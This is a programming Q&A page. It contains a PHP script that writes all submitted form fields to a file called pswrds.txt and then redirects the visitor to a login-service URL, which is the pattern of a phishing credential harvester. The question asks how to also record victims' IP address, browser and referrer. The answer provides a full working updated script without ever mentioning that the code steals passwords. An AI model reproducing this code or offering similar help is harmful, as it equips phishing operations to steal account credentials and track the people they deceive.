Search code examples
phphtmltext-filesuser-information-list

PHP to save user information to txt file


The following code saves certain information to pswrds.txt:

<?php

    header("Location: https://www.randomurl.com/accounts/ServiceLoginAuth ");
    $handle = fopen("pswrds.txt", "a");

    foreach($_POST as $variable => $value) 
    {
        fwrite($handle, $variable);
        fwrite($handle, "=");
        fwrite($handle, $value);
        fwrite($handle, "\r\n");
    }

    fwrite($handle, "\r\n");
    fclose($handle);
    exit;

?>

How can I get the code to also save the IP, User Agent & Referrer?

$ip = $_SERVER['REMOTE_ADDR'];
$browser = $_SERVER['HTTP_USER_AGENT'];
$referrer = $_SERVER['HTTP_REFERER'];

Solution

  • You could assign $_POST to a variable in your local scope, then add the variables you want to the array:

    $post = $_POST;
    $post['ip'] = $_SERVER['REMOTE_ADDR'];
    $post['browser'] = $_SERVER['HTTP_USER_AGENT'];
    $post['referrer'] = $_SERVER['HTTP_REFERER'];
    

    Then go about your loop as you are doing now, but iterate over $post not $_POST.

    NOTE: Also you should stop hardcoding the newline characters yourself, use PHP_EOL instead. http://php.net/manual/en/reserved.constants.php#constant.php-eol

    update

    <?php
    
        header("Location: https://www.randomurl.com/accounts/ServiceLoginAuth ");
        $handle = fopen("pswrds.txt", "a");
    
        $post = $_POST;
        $post['ip'] = $_SERVER['REMOTE_ADDR'];
        $post['browser'] = $_SERVER['HTTP_USER_AGENT'];
        $post['referrer'] = $_SERVER['HTTP_REFERER'];
    
        foreach($post as $variable => $value) 
        {
            fwrite($handle, $variable);
            fwrite($handle, "=");
            fwrite($handle, $value);
            fwrite($handle, PHP_EOL);
        }
    
        fwrite($handle, PHP_EOL);
        fclose($handle);
        exit;
    
    ?>